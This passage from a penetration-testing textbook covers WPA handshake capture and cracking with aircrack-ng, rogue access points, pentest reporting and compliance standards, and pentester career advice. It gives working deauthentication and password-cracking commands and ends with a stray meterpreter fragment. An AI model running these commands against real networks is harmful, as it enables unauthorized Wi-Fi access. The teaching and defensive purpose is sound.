	-0: Used to send de-authentication packet

	10: Total number of de-authentication packets to be sent

	-a: For the BSSID of the target network

	wlan0: Name of the interface to use


Once we send the de-authentication packet and the client is disconnected from the target network, it tries to reconnect to the network. When it attempts to do that, we will get something called WPA handshake in the previous window of the terminal, as seen earlier as well.


	Cracking the passphrase using Aircrack: Now, we are done with capturing the packets, so you can close the terminal window. We should see new capture files created with the naming convention capture-xx.cap.
Here, capture-01.cap is the file we need, on which we are going to run our Brute Force attack WPA four-way handshake:


[image: ]

Figure 8.39: The WPA four-way handshake




We will try to crack the key that is sent to the Wi-Fi access point from the client highlighted in figure 8.40:
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Figure 8.40: The WPA key sent from the client

We can initiate the key cracking by executing the following command on Kali Linux:

aircrack-ng -a2 -b 80:35:C1:13:C1:2C -w /root/passwordlist.txt capture-01.cap

Here:


	-a: -a is used for WPA networks and a2 is used for WPA2

	-b: The BSSID of the target network

	-w: Location of the wordlist file

	capture-01.cap: Location of the .cap file



You can download the file of common passwords from the internet if you want to create your own file. Once the password cracking is successful, you should see the found key popping up on terminal windows, as illustrated in figure 8.41:
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Figure 8.41: Aircrack-ng reveals access point key

Preventing password attacks against WPA/WPA2

No, it's not possible to prevent someone from capturing the handshake. However, a properly implemented password with enough entropy can make a very well-funded attacker frustrated. The example hash rates given for the highest-end machine are still only about 1 million hashes a second on a machine with 8 GPUs. In a year, you could do 1,000,000*60*60*24*365=3*10^13 passwords, or about 44 bits. If you really want to be secure, generate a random 128 bit password. This will be secure from any Brute Force attempt.

Rogue access point attacks

A corporate wireless LAN is an authorized and protected network. A rogue access point (AP) is any kind of wireless network access point that is placed within a company without any authorization. Figure 8.42 should give you a high-level overview of a rogue access point attack:
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Figure 8.42: Rogue access point attack Image credit: Khan Academy

A lot of the rogue access points are mounted by company employees (harmful users). They are really not the same access points that the IT division in the company has planted. Most of the time, some small-office home-office (SOHO) wireless routers are used as rouge access points. In today’s worlds, a rogue access point could be extremely well-disguised, and sometimes, it could really tough to find out.

When any network resources are exposed by a rogue access point, the following risks may be identified:


	Data destruction: Databases may be erased.

	Data theft: Corporate data may be compromised.

	Third party attacks: A company's wired network may be used as a launching pad for third-party attacks against other networks across the internet.

	Loss of services: Network services can be disabled.

	Malicious data insertion: An attacker may use a portal to upload viruses, key loggers, or pornography.



Preventing rogue access point attacks

To avoid the installment of rogue access points, companies can set up wireless breach prevention systems to keep track of the radio frequency for unauthorized access points. In any area where many corporate offices are situated, the existence of many wireless access points can be found. Some wireless intrusion prevention system facilitate the work of auditing these access points on a continuous basis to discover whether there is any type of rogue access points among them. In order to spot rogue access points, two conditions need to be tested:


	Whether the access point is the already listed in the legitimate access point list maintained by the organization

	Whether the access point it is already connected to an existing secure network



Conclusion

Wireless networks require just as much security to be considered when being deployed and set up in order to maintain them. Wireless penetration testing is a popular method to determine the practical security posture of your wireless networks. In this chapter, we demonstrated a practical method of utilizing several available tools in Kali Linux to perform attacks on wireless networks. Now, all that is left for you is to try it out on your own in a simulated environment.

Key points


	There are a wide variety of attacks that can be made against a Wi-Fi network. It’s almost impossible to cover everything in a short span, so readers are highly recommended to read from a wide variety of reliable sources to learn more about other attacks.

	Running tools and getting things done is okay, but it's equally important to know how the tools are working. To achieve that, Wireshark can be your best friend. We would recommend that you run Wireshark every time you run any tool to know how these tools are running in the background and what all packets are being sent over the air. This will also help you customize these tools and perform more advanced attacks.



Questions


	Explain each section of a raw WLAN packet and its significance.

	What are the different WLAN security protocols?

	What are the advantages of WPA over WEP from a security standpoint?

	What is WPA3?

	Explain how a WLAN access point and a client communicate.

	What are IEEE 802.11 standards?

	What is a probe request?

	What are beacon frames?

	What are association requests?

	How do you verify that your WLAN card has packet injection capabilities?

	Why is it important to have packet injection capability in your WLAN adapter?

	What is monitoring mode? How do you switch to monitoring mode?

	What data can a WLAN management frame contain?

	Is it possible to sniff all packets passing through a Wi-Fi network? If yes, how do you do that?

	Explain BSSID.

	Explain ESSID.

	How do you find out how many clients are connected to a certain Wi-Fi network?

	Explain MAC spoofing attacks.

	What are the steps to crack WEP encryption?

	What are the steps to crack WPA encryption?

	What is WLAN de-authentication attack, and how do you prevent it?

	What are the steps to uncover hidden SSID in a WLAN network?

	How do you disconnect all the clients from an access point?

	How do you perform a rogue access point attack?







CHAPTER 9

Report Preparation and Documentation


Introduction

Vulnerability Assessment and Penetration Testing (VAPT) helps organizations outsmart today's hackers and hacking groups. A penetration testing report records the detailed analysis of all the vulnerabilities that were discovered throughout the penetration test process. A standard penetration report should have all the details about the weaknesses in the target system, the associated threats they pose, and possible mitigation steps. A quality penetration test report should also include the severity of all the vulnerabilities, which eventually helps an organization prioritize remediation. The severity of an issue can also be expressed in terms of a score, which tells the report consumer the extent to which it can influence an application or network.

Structure

The following topics are covered in this chapter:


	Compliance and regulation standards

	ISO 27001

	GDPR

	PCI DSS

	NHS Data Security and Protection Toolkit

	Reserve Bank of India (RBI) cyber security guidelines

	Indian Computer Emergency Response Team (CERT-IN or CERT) cyber security guidelines



	Making an effective penetration testing report

	PenTest Report (PeTeReport) – An open-source application vulnerability reporting tool



Objectives

After studying this chapter, you should understand the importance of reporting in any penetration testing process. You will learn about the things that a penetration testing report must have and understand how to prepare an effective penetration testing report. We will also look at an open-source penetration testing reporting framework, which will help penetration testers set up a reporting infrastructure from scratch.

Compliance and regulation standards

Regulatory compliance is an organization's commitment to regulations, laws, standards, and specifications that are relevant to its service and processes. Infractions of regulatory compliance usually result in legal punishment and may also lead to federal fines being imposed. Industry standards and government regulations enforce periodic penetration testing as a requirement, and compliance is a must for organizations. Generally, these fundamental requirements drive the need for penetration testing. This section recognizes some of the penetration testing standards.

ISO 27001

ISO 27001, part of the ISO/IEC 27000 series of standards, is an international information security standard that describes a framework of controls for Information Security Management Systems (ISMS). To become ISO certified, organizations need to develop and deploy a suite of security controls to identify and address security threats throughout their networks, applications, and all information processing infrastructure. The goal is to ensure that an organization’s security needs are fulfilled with time:
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Figure 9.1: ISO 27001

ISO 27001 calls for organizations to use controls according to their own particular security threats. This implies that no set of controls is compulsory, but the standard does describe a considerable list of best practice recommendations that need to be considered.

ISO 27001 Annex A. 12 - Operations Security - of ISO 27001 states that information about technical security vulnerabilities ought to be acquired in a prompt fashion, direct exposure to these vulnerabilities should be assessed, and ideal steps should be taken to address the involved risks.

Penetration testing serves at several phases of an ISMS project. So, organizations always try to find an adaptable ISO 27001 penetration testing service provider that can perform assessments to fulfill these requirements. Hence, penetration testing service providers often assess potential hires based on their fluency about these standards. Job seekers might find the following link useful to learn more about this:

https://www.isms.online/iso-27001/annex-a-12-operations-security/#:~:text=12.6.,to%20address%20the%20associated%20risk

General Data Protection Regulation (GDPR)

The regulation that affects almost all organizations that run in the European markets is the General Data Protection Regulation (GDPR). In the UK, the GDPR's requirements are preserved in the Data Protection Act 2018 (DPA 2018), ensuring that they remain in place once the UK completes its withdrawal from the EU. The GDPR (refer to figure 9.2) covers all facets of data protection, but among its many needs is the need for organizations that take care of individual data to improve information security and governance:
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Figure 9.2: GDPR

Art. 32 GDPR Security of processing: GDPR Article 32 calls for organizations to implement a process for frequently testing, examining, and assessing the effectiveness of technical and organizational procedures for ensuring the security of data handling.

Visit the following link for more information:

https://gdpr-info.eu/art-32-gdpr/

PCI DSS

The Payment Card Industry Data Security Standard (PCI DSS) is a minimum set of requirements made to help companies secure client cardholder data. All organizations that accept or process online card payments are needed to take on annual PCI security audits to ensure an organization’s compliance:


[image: ]

Figure 9.3: PCI

PCI DSS v3.2.1: Requirement 11 of PCI DSS 3.2.1 particularly mandates the performance of routine penetration testing. Organizations that come within the scope of PCI DSS must do internal and external penetration testing at least annually, or after any considerable changes to the infrastructure. PCI DSS penetration test mandates that the testing be performed by a qualified tester, where certifications and past experience is taken into account.

PCI DSS penetration testing must include the assessment of infrastructure and applications throughout the cardholder data environment (CDE), from both inside and outside the organization’s network. Visit the following link for more information:

https://www.pcisecuritystandards.org/documents/PCI_DSS-QRG-v3_2_1.pdf

NHS data security and protection toolkit

The Data Security and Protection (DSP) toolkit is an online self-assessment tool that aids organizations in the UK healthcare market to benchmark their security against the National Data Guardian (NDG) data security standards. NDG standards relate to all organizations that deal with wellness and social care information:
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Figure 9.4: NHS digital toolkit

NDG Standard 9 dictates that an approach must remain in place to safeguard IT systems from cyber risks. This must include, at the very least, an annual penetration test covering crucial network infrastructure and web services. More information can be found at the following link:

https://www.dsptoolkit.nhs.uk/Help/Attachment/24

There are also other regulatory standards:


	SWIFT CSP: SWIFT's customer security programme (CSP) aims to prevent and detect fraudulent activity through a set of mandatory security controls, community-wide information sharing initiatives, and enhanced security features on their products.

	NIS directive and regulations: The EU's NIS directive (directive on the security of network and information systems) is the first piece of EU wide cybersecurity legislation. It aims to achieve a high common level of network and information system security across the EU's critical infrastructure.



Reserve Bank of India (RBI) cybersecurity guidelines

Companies that provide any sort of financial services are most vulnerable to cyberattacks. The Reserve Bank of India has published a set of guidelines on cybersecurity framework: the circular DBS. CO/CSITE/BC.11/33.01.001/2015-16. The guideline focuses on the urgent need to build a robust cybersecurity and resilience framework to ensure that financial service companies are prepared for any type of cyber threats. This framework requires any financial service providing company to periodically perform vulnerability assessment/and penetration testing of all internet-facing assets, such as web applications, mobile applications, servers, and network components. The test must be done throughout their lifecycle, which includes pre-implementation, post implementation, and after any significant changes. This RBI cybersecurity guideline will enforce banks to standardize and adopt a strong cybersecurity policy and a crisis management (cyber) plan. Financial service companies are also required to share information on cybersecurity incidents that occur with the RBI.

Indian Computer Emergency Response Team (CERT-IN or ICERT) cybersecurity guidelines

The Indian Computer Emergency Response Team has published a set of guidelines for all Auditee organizations, which has to be followed while working for or providing service to their vendors for their CERT-IN certification process. The official guideline clarifies how a security auditor should deal with an organization seeking CERT-IN certification. While seeking a CERT-IN certification, it must be ensured that your security auditor fulfills world-class standards and follows all the best practices. It also mentions that the audit must include penetration testing of all the external and internal applications and the networks of the company.

Making an effective penetration testing report

By now, you have already understood, on a very high level, that a penetration test of any kind consists of the following steps:


	Pre-testing research and planning

	Collecting information

	Testing and discovering vulnerabilities

	Reporting and documentation



Composing a fantastic pen testing report needs an understanding of the variety of pen testing methodologies and client expectations. The agreement between the client organization and the pen tester deals with the expectations of both parties. So, how do we prepare an effective penetration testing report? This section covers the flow of this procedure and the things that a pen test report must have.

An executive summary

While preparing the penetration testing report, you must remember that it will be consumed by a lot of different people situated at different places in an organization’s hierarchy. Not all stakeholders are security specialists, so you need to provide an executive summary of the penetration testing report for the decision-makers. The executive summary does not cover technical information or terminology, but it has an overview of the significant findings explained in layman terms. The executive summary needs to be short, crisp, and well-formatted. Figure 9.5 shows a sample executive summary of a penetration test report:
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Figure 9.5: Sample executive summary of a penetration test report

A visual representation of the overall risks (as shown in figure 9.6) could add more value in the executive summary:
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Figure 9.6: Executive summary

Details of the discovered security vulnerabilities

One of the most essential elements of an excellent penetration testing report is a rundown of all the vulnerabilities uncovered in VAPT; you should list them down on the basis of the findings’ severity. No matter where the vulnerability hinges on the application, a proper birds-eye view of the vulnerabilities gives a security or development team a clear idea of the scenario and the path ahead. In a great penetration testing report, the tester must provide adequate explanation of where these vulnerabilities lie and how an attacker can manipulate them, ideally, in layman's language.

Detailed analysis of the business impact

The next important part that you should add in a VAPT report is a comprehensive overview of the adverse effects of the exposed vulnerabilities on the business. By default, the numerical scoring assigned is mapped around the Common Vulnerability Scoring System (CVSS). A pen tester should utilize extra sophisticated means to designate the scores, for instance, a scoring system that appoints both similar ratings (low/medium/high/critical) and an explanation of the seriousness of each vulnerability it possesses to the business.

Figure 9.7 shows a sample report that explains the business impact of a vulnerability:
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Figure 9.7: Impact of a vulnerability

Note that readers might not be able to comprehend the impact if the vulnerability details are not given. This section should show the details of the vulnerability found, along with its impact.

Insights into exploitability

Your penetration test report should document how hard it was to exploit the security loopholes. The exploitability section should also emphasize the availability of exploits for any vulnerability. If exploit for any existing vulnerability is publicly available, the ease of exploitation would be very high.

Technical risks briefing

The vulnerability risk rating (or CVSS score) is a straightforward way to show the seriousness of a vulnerability. It gives us a quick understanding of the vulnerabilities at just a glance.

Figure 9.8 shows a sample report and how the technical risk rating of any discovered vulnerability can be conveyed:
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Figure 9.8: Findings and risk analysis

The CVSS score for the vulnerability shown in figure 9.8 can be calculated using the following online CVSS calculator, where you have to choose from several options like Attack Vector (AV), Attack Complexity (AC), Privileges Required (PR), and User Interaction (UI). Then, you would see the CVSS score generated based on the options you’ve chosen:

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
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Figure 9.9: Online CVSS score calculator

However, when it comes to eradicating those vulnerabilities, just a score will not be enough. Hence, when preparing a penetration testing report, you should provide an explanation of the highlighted vulnerabilities and technical risks. When combined with contextualization, it adds more weight to the report.

Remediation

Without remedial advice, a penetration testing report is just a document with a list of vulnerabilities. Without proper remediation or ideas for mitigation, your client’s website or network will continue to stay unsafe.

Figure 9.10 shows a sample recommendation of a vulnerability report:
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Figure 9.10: Sample recommendation steps

The remediation advice varies for different vulnerabilities. Let’s say, for some vulnerabilities, just mounting a security patch is enough to correct a security issue. However, some issues might need code level changes. In either situation, the remediation steps supplied in a report are really helpful. Additionally, strategic suggestions are frequently neglected by many VAPT providers, but they are essential and can specify your company's outlook on security and shape your security methods.

PeTeReport – An open-source application vulnerability reporting tool

PenTest Report (PeTeReport) is an open-source application vulnerability reporting tool designed to assist pen testing/red teaming efforts by simplifying the task of writing and generation of reports, as shown in figure 9.11:
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Figure 9.11: PeTe framework report

The tools focuses on product security and helps pen testers provide detailed findings, appendix, and attack paths and manage a finding template database to avoid wasting time in the reporting phase.

PeTeReport is written in Django and Python 3 to help pen testers manage a finding repository, write reports (in Markdown), and generate reports in different formats (HTML, CSV, PDF, Jupyter, and Markdown).

The entire project can be downloaded from the following GitHub link:

https://github.com/1modm/petereport

Conclusion

In this chapter, you learned about the different regulatory standards that a penetration tester must know about. Remember, as a penetration tester, you should always keep yourself up to date with these regulations and the latest changes in them. This will eventually make your report compliant with these regulatory standards. However, you must remember that the focus shouldn’t be compliance to all standards; not every organization needs all compliance-related tests. Adding unwanted overheads without any valid reason may increase overall testing and delivery timelines. Hence, requirements should be documented, and test cases should be planned accordingly to cover the requirements.

Points to remember


	The penetration test itself is not why clients look for security assessments. The assessment report and client support are the major expectations. That's specifically why, as a penetration tester, we place a lot of our attention and initiative on reporting.

	Details like verbose descriptions, appropriate methodology, vulnerability description, and various other elements are necessary for an outstanding report.

	A penetration tester should always, remember that a good pen test report helps an organization drive compliance initiatives as an opportunity to progress security posture to the next degree. Hence, a penetration tester carries a huge responsibility during the test and while reporting, which is why the test and reporting should be carried out with high integrity and standards.



Questions


	What is your idea of ISO 27001?

	What is your idea of GDPR, and how would you make a penetration test report GDPR-complaint?

	What’s your idea of PCI DSS?

	What are the five key things that a penetration test report must have?

	What is CVSS, and what is its significance in the penetration testing report?







CHAPTER 10

A Day in the Life of a PenTester


Introduction

Penetration testers, also known as pentesters, help companies determine and deal with security vulnerabilities that affect their digital assets and networks. Some penetration testers are permanent employees, working as part of internal cybersecurity or information technology (IT) groups. On the other hand, other pentesters belong to specialized service-based firms that provide services to their clients. Penetration testers spend most of their time conducting assessments of network connected assets. These obligations might target the internal or external assets of an organization. Pentesters can work both on site and from another location. It’s not quite possible to portray a typical day of a penetration tester, but in this chapter, we will look at a few things that will help students build up a perspective about penetration testers.

Structure

We will cover the following topics in this chapter:


	A typical day of a pentester

	Common day-to-day challenges

	Keeping a hacker-like, problem-solving mindset

	The importance of effective communication skills

	Honing your skill on a daily basis

	Self-learning

	Certification

	Free courses available on the internet

	Bug Bounty participation

	Competitive learning through CTF competition

	Giving back to the community



	Free projects, labs, repositories, and more



Objectives

Though, it’s not an easy job to describe what a typical day in a penetration tester’s life looks like, you should gain a decent understanding about it after studying this chapter. Penetration testing is a very sensitive task, so we will also deep dive into several precautionary TO-DOs to safely conduct a pen test.

A typical day of a penetration tester

As stated, it is almost impossible to portray a typical day for a penetration tester, given just how different work environments can be and how jobs can vary depending on the type of task that a pentester is doing. A normal day can range from working at a client site to working from the comfort of your own home/office, testing remotely accessible applications/networks.

There is no normal workday for a penetration tester. The day can be exciting, exhausting, stimulating, or all of them. Sometimes, pentesters can see their targets at their weakest and most vulnerable point, or even at the strongest and most secure state. It is the work of penetration testers to put themselves in an attacker's shoes and locate weak points before the bad hackers do.

Throughout the morning, the pentester or the testing team decides on a method for the pentest project and sets up the needed tools and environment. Sometimes, this includes assembling what specialists call open-source intelligence, also known as OSINT, which hackers use when attempting to attack any system.

Usually, in the second half of the day, teams carry out the tests that they spent the morning planning. The other duties consist of performing simulations to examine other facets of internal risks. For instance, penetration testing teams may target a selected company employee with phishing attacks (means of social engineering) or various other techniques to see how they respond to such probes.

There will certainly be regular client meetings throughout the test project lifespan. The main reason to connect with the pentest consumer is to comprehend their demands and set assumptions, while also establishing the extent and boundary of the test. There may also be conversations with clients from previous tasks on the report sent on the previous day, which happens more often than one would imagine. Interaction with the client is something that pentesters frequently forget about, but it's a very important phase of a pentest project. The importance of client communication is discussed in detail later in this chapter.

Common day-to-day challenges

The vital difficulty today is that the cyber world has become huge. Earlier, most cybersecurity issues focused on computers. Now, thanks to the Internet of Things (IoT), almost everything has a network connection. A penetration tester's life is not an exception. In this section, we will take a look at some common challenges that a penetration tester face

Legal challenges

Among the many challenges that a penetration tester or a testing team might face, legal challenges are an important part. Obviously, the person who is going to conduct the test is unknown to the client, so the very obvious question that occurs here is, on what basis should the tester be given access to the company's sensitive resource? In case of any unexpected situations, for example, a security breach or data loss, who should take the responsibility of the lost data? In many cases, the client can blame the loss of data or confidentiality breach on the penetration tester. Apart from this, penetration testing sometimes affects/reduces critical system performance. As a result, it raises availability and integrity issues. Therefore, it is very important to get the necessary permissions in writing.
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Figure 10.1: Legal

For a penetration tester, it is important to recognize who owns the business or the systems that they are being requested to work on, and they should also understand that the entire framework where their target resides may possibly be affected by penetration testing. The suggestion is to see if the following conditions are met:


	The tester has the right written permission, with clearly defined parameters

	The company has the information of its penetration tester and an assurance that they would certainly not leak any type of private data



Remember, a legal contract is always helpful for both parties. Additionally, keep in mind that regulations change from one nation to another, so keep yourself up to date with the regulations of the country where the test is being performed. Authorize an agreement only after thinking about these laws.

Meet with a client’s expectations

There is a popular saying in IT, clients do not even understand what they want, they just want it, and they want it right now! This holds true in information security as well; clients simply want their system to be absolutely secure.
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Figure 10.2: Client engagement

So, when you head out to execute a penetration testing engagement, the tester should be clear about what the client desires. What are the dos and don’ts, and what matters to them the most? Possibilities are that the client would not be pleased even if you have performed a really good pentest. So, it's very important to ask questions before even the engagement starts. Ensure that you have a standard set of questions you ask every client before you even start the test. Additionally, every time you face a new challenge, ensure that you update your questionnaires so that you don't face the same problem in the next engagement.

Scope or out of scope

One of one of the most effective means to wreck your penetration test is to not hang around attentively scoping the project. A common problem often faced by penetration testers or a testing team is understanding what is within the scope of a penetration test and what is not. In some cases, it is not effectively recognized by both parties. The normal set of things a penetration tester should do is as follows:


	Revalidate the list of IP addresses/hostnames/web addresses that are in scope from the client.

	If expectation is a greybox testing or blackbox testing.

	Do they want you to exclude a certain IP range/portion of a network/application?

	Inquire whether social engineering is in the scope of the pentest.

	Inquire about testing time frames (off hours or on hours).

	Is physical penetration testing also expected?



It’s very important to have a written agreement between a tester and the company/organization/individual to clarify all the points pertaining to data security, disclosure, and so on before beginning testing. A statement of intent ought to be drawn up and duly signed by both parties before any kind of testing work begins. The scope of the job needs to be plainly detailed, and it needs to be mentioned what you might or might not be doing while running vulnerability scans.

Health and work-life balance

Penetration testing is a notoriously demanding market, with duties being stressful and having obligations. Here are a few things you should try to implement to utilize your time efficiently:
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Figure 10.3: Maintaining balance

Throughout your day, you will have several things competing to try and grab your interest. It is practically impossible to address them all. Begin by calculating how much time each task takes and which jobs are most important; complete the priority tasks with a matter of urgency. It's very not likely that you will have the ability to finish 100% of your jobs on a daily basis, so don't beat yourself up regarding it or feel overloaded, but try to make sure you have your personalized time management process in place to take on the most crucial tasks.

It's essential to allot time for your very own physical and mental well-being. Whether it is a 1-hour gym session at the beginning of the day or a quick run, it is critical to take off time from your job and spend some energy in doing something you really enjoy. You should think about whether your activities are contributing to your mental/physical wellness, or satisfaction.

Keeping a hacker-like, problem-solving mindset

A problem-solving mindset is essential in almost every area of life, and penetration tests are no exception. A Hacker Mindset is a means of working and handling issues associated with any large project, where you try to find alternate solutions and develop innovative solutions with the help of bare minimal resources. The most striking distinction between hackers and engineers is in how they address any difficulty. Engineers are more methodical. Usually, problems are first defined and examined; then, a hypothesis is developed; and then the theory is evaluated. Based on the assessed results, final thoughts are drawn (success or failure).

Hackers overturn this process. Initially, there is no strategy but an objective. Plans for a hacker are quite flexible. Keep in mind that a hacker is not constructing something that should stand the test of time. They do not need to please a supervisor or CEO; they just need to finish a mission.

Where engineers are organized, hackers are practical and domino effect-driven in their methodology. There are resemblances, but the core distinction is that hackers will most likely go to any extent to accomplish their mission, be it learning new things or developing new solutions. As a penetration tester, the chances of being successful in your role are more if you keep a similar mindset.

The importance of effective communication skills

You might be investing less time on the phone and in meetings and more time messaging with your employer on Instant messenger. Many of your colleagues will be functioning from another location and on a third-party contract, on a project-by-project basis. It's quite obvious that as communication channels are transforming, interacting properly is becoming more important than ever before.
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Figure 10.4: Effective Client engagement

A penetration testing team's soft skills, especially their communication abilities, are vital. You simply cannot reply to what you don't understand. Moreover, you cannot reply to everything. An excellent penetration tester will certainly prioritize the most severe risks to the client’s organization with the greatest clarity. The duty of report writing falls on whoever has the most experience. That's why it's important for every member to convey complex subjects in a way that even non-technical people can make sense of them.

If talking and writing are not your core strengths, you must find ways to exercise them. We have a tendency to shy away from the superbly-skilled technical wizards that everybody desires on their team, but nobody wants to face a client. Master communicators have strong listening skills, the ability to tune into a person with focus, and the ability to express clearly while being both honest and caring.

Honing your skill on a daily basis

The cyber world and cyber threat landscape is changing fast. Security professionals must keep up, and that means more than just learning to code. Technology is driving new processes, expectations, and means of communication on a daily basis. Additionally, employers are also developing expectations from employees. It can be really overwhelming, but with the best perspective and adaptability of the mind, it can be a remarkable chance to shine. Here are a few things that a prospective pen tester can do to hone their skills today to help them thrive in the workplace tomorrow.

Self-learning

Self-learning should be a core characteristic of someone willing to thrive in the field of cybersecurity in general and penetration testing in specific. Self-learning comes out of your own desire to learn something new. Thus, you get a feeling of accomplishment and feel a sense of purpose.


[image: ]

Figure 10.5: Self-learning

The process of self-learning allows you to improve your knowledge via practical applications without any matriculated evaluation. This makes it purely about learning. Self-learning helps you develop your problem-solving abilities. It is definitely stress free as there are no exams and no deadlines, only satisfaction and curiosity are being answered. By gaining secondary skills, you help yourself advance in your career. You get to choose the way you learn and can find a comfortable medium, which could be online free videos, experiments, or webinars.

Certification

Certifications are not the only way to shine as a penetration tester, but there are numerous online and standard on-campus programs for cybersecurity certifications. A majority of them focus on network and data protection at different stages. Each certification prepares a candidate for a detailed objective. Such courses teach cryptographic methods, computer system security, forensics, layouts for network perimeter defenses, and so on. Here are some of the quality certifications that a prospective penetration tester can pursue:


	Offensive Security Certified Professional (OSCP)

	Offensive Security Certified Expert (OSCE)

	GIAC Certified Penetration Tester (GPEN)

	GIAC Exploit Researcher and Advanced Penetration Tester (GXPN)

	Certified Penetration Tester (CPT)

	CompTIA PenTest+



Free courses available on the internet

Knowledge is literally available for free. There are many talented professionals who are investing their time in creating free content on YouTube and other platforms to help community members grow. The thing students need to do is gather this knowledge in an organized manner. Unlike any premium training courses, free courses are not always very organized. Hence, you may have to go back and forth while consuming them. Here are some of the great free resources that can help you get started:


	Free courses on YouTube:
https://www.youtube.com/results?search_query=penetration+testing+tutorial


	Free code camp:
https://www.freecodecamp.org/, https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ


	Security tube:
http://www.securitytube.net/


	MIT free courses:
https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-858-computer-systems-security-fall-2014/video-lectures/




Bug Bounty participation

Bug Bounty is a great way to keep your hacking skills up to date and make money and recognition at the same time. Bug Bounty programs enable independent security researchers to report bugs to a company and get rewards or payment. These bugs are normally security exploits and vulnerabilities, but they can also include procedure problems, hardware defects, and so forth. The reports are typically made with a program run by an independent third-party (like Bugcrowd or HackerOne). The organization will set up (and run) a program curated to the company’s demands. Programs might be private (invite-only), where reports are maintained private to the company, or public, where anybody can register and sign up. They can happen over a prefixed time span or indefinitely. Here are some good Bug Bounty platforms that a pentester can start with:


	Hacker One (https://www.hackerone.com/)

	BugCrowd (https://bugcrowd.com/)



Some organizations might impose a distinct policy on penetration testers, which may not allow you to participate in the Bug Bounty program. We suggest that you discuss with your management before participating in any bug bounty program.

Competitive learning through CTF competition

Capture The Flags (CTFs) are a type of computer security competition. Additionally, CTF is a wonderful method to refine your hacking abilities. In CTF, teams of rivals are pitted against each other, and typically, they are the beginning of one's cybersecurity career. Here is a few great resources to start your CTF journey:


	https://ctf101.org/

	https://ctftime.org/ctfs

	Google CTF: https://capturetheflag.withgoogle.com/



If you've never ever experienced a CTF event before, don't get disappointed or surrender. The trick to perform any kind of hacking is persistence. While this is a challenging point to have in some cases, it is the only method to learn, linger, and exercise by yourself . Possibly, you'll rack up at the top next time. Something you can try to do throughout your very first CTF, if possible, is to get in touch with an experienced team that is flexible enough to make you a part of it. Participants of the InfoSec community are usually willing to share their knowledge with any individual interested to learn and grow in this field. So, it’s won’t be a difficult task for you.

Giving back to the community

Knowledge sharing plays an important role in the domain of the information security community. When you look at a successful information security professional, you should remember that someone in this world has played a major role in inspiring that person to develop passion for information security and grow as a professional. A tiny bit of inspiration can make a lot of difference and might come from various sources. It could be a talk at a conference, a blog post, a CTF competition, or even a tiny job referral.

Always remember, no successful professional got where they are today on their own. Without a doubt, they are fortunate to have learned from skilled security professionals who have directly or indirectly shaped their career growth. Many may never fully recognize that impact, but it's important to realize the power of sharing knowledge with the community for free. It also helps the knowledge to propagate among others and evolve.

So, it is very important to make it a priority to learn on one hand and help others grow on the other hand by sharing knowledge:
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Figure 10.6: Giving back to the community

We can all benefit from others’ successes and oftentimes, even more by others’ failures. Each one of us faces problems on a daily basis, and we take help from Google to resolve them. We immediately get a solution through some blog post, forum post, or video tutorial. Remember, someone in this world spent their valuable time creating that post and sharing the knowledge. Otherwise, our problem-solving ability will reduce significantly. This should be a good enough inspiration for you to share more with the community. You can do several things:


	Write blog post about any problem that you solved in a unique way

	Make video content to share knowledge

	Establish an informal mentoring program

	Join your local security group, such as BSides and OWASP

	Volunteer at your next local information security event

	Reach out to other information security community members



Free security projects, labs, and more


	Bug Crowd University: https://github.com/bugcrowd/bugcrowd_university

	Hack this site: https://www.hackthissite.org/

	Try Hack Me: https://tryhackme.com/

	Pentesterlab: https://pentesterlab.com/exercises?dir=desc&only=free&sort=published_at

	OWASP Project Inventory: https://owasp.org/projects/

	Network Vulnerability Scanners: A network vulnerability scanner allows a pentester to discover the existing vulnerabilities on a target network device (computer, router, IOT device, or such) in an automated manner. Most good-quality network vulnerability scanners need customization to get the maximum benefit out of it. The customization mostly depends on the target it is being used against.

	celerystalk: celerystalk helps automate network scanning and enumeration process with asynchronous jobs, also known as tasks, while retaining full control of which tools the pentester wants to run on the target.

	OpenVAS: OpenVAS is a free software implementation of the widely popular Nessus vulnerability assessment system.

	Vuls: Vuls is an agentless vulnerability scanner for Linux-based and FreeBSD-based operating systems. The scanner is written in Go language.



	Web vulnerability scanners: A web application vulnerability scanner allows a penetration tester to discover vulnerabilities (XSS, SQL, and so on) in any target web application (sometimes webserver) in an automated manner. Most good-quality web vulnerability scanners need customization to get the maximum benefits out of it, and the customization mostly depends on the target it is being used against:

	ACSTIS: ACSTIS is an automated client-side template injection (sandbox escape/bypass) detection for AngularJS. ACSTIS helps pentesters scan certain web applications for AngularJS client-side template injection vulnerabilities (sometimes referred to as CSTI, sandbox escape, or sandbox bypass).

	Arachni: Arachni is a scriptable framework for reviewing the security of web applications. It is a feature-rich, modular, high-performance Ruby framework aimed toward helping penetration testers and administrators review the security of modern web applications.

	JCS: JCS is a Joomla vulnerability scanner that comes with automatic database updater from exploitdb.

	Nikto: Nikto is an open-source GPL web server scanner that performs thorough tests against web servers for different types of vulnerabilities.

	SQLmate: This is a friend of SQL map that identifies SQLi vulnerabilities based on a given dork.

	WPScan: WPScan is a black box WordPress content management system vulnerability scanner.

	Wapiti: Wapiti is a black box web application vulnerability scanner that also has fuzzers built-in.

	cms-explorer: cms-explorer is a tool used to find CMS, also known as content management system, used by any target web application.

	w3af: w3af is an open-source web application security scanner that helps penetration testers identify vulnerabilities in any target web application. It can also be customized based on the target it’s being used against.





Conclusion

As stated earlier, it’s a difficult job to compile the daily work of a penetration tester in a single place. However, in this chapter, we tried our level best to you give you an overview of it, and we believe some of you found it fascinating. We also spent a good amount of time understanding the learning curve of a seasoned penetration tester.

So, you’ve come to the end of this book.

Congratulations! We strongly believe you’ve enjoyed this book, and we are hoping that we were able to deliver some knowledge, which would help you start your career as a penetration tester. We wish you all the very best for your career as a penetration test professional.

Points to remember


	Stay informed about penetration testing. Just like any other job, the more you know, the better off you will be. Learning about the latest threat landscape can help you know about the myriad of attacks and patterns coming out daily. This information strengthens your knowledge of what you need to be aware of as a penetration tester protecting against them.

	Building your reputation is important. For someone (anyone) to let you right into their network's infrastructure where all their data is stored, they should trust you. If you build your reputation as somebody who cannot be trusted, it affects your career as a penetration tester. This indicates that you cannot be a criminal! You need to act ethically in all circumstances. Construct your network of peers and people who can vouch for you and act in a way that makes you come across as a honorable and skilled specialist.

	You must understand what hackers do. As an ethical person, it's challenging to think like a criminal, but this is where great penetration testers succeed. You must think beyond what a person with ethics would do, but achieving this is not easy. You can read about attacks that happened in the past to learn more about those that conducted them.
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meterpreter > ipconfig

Ethernet adapter Wware Network Adapter Vinet
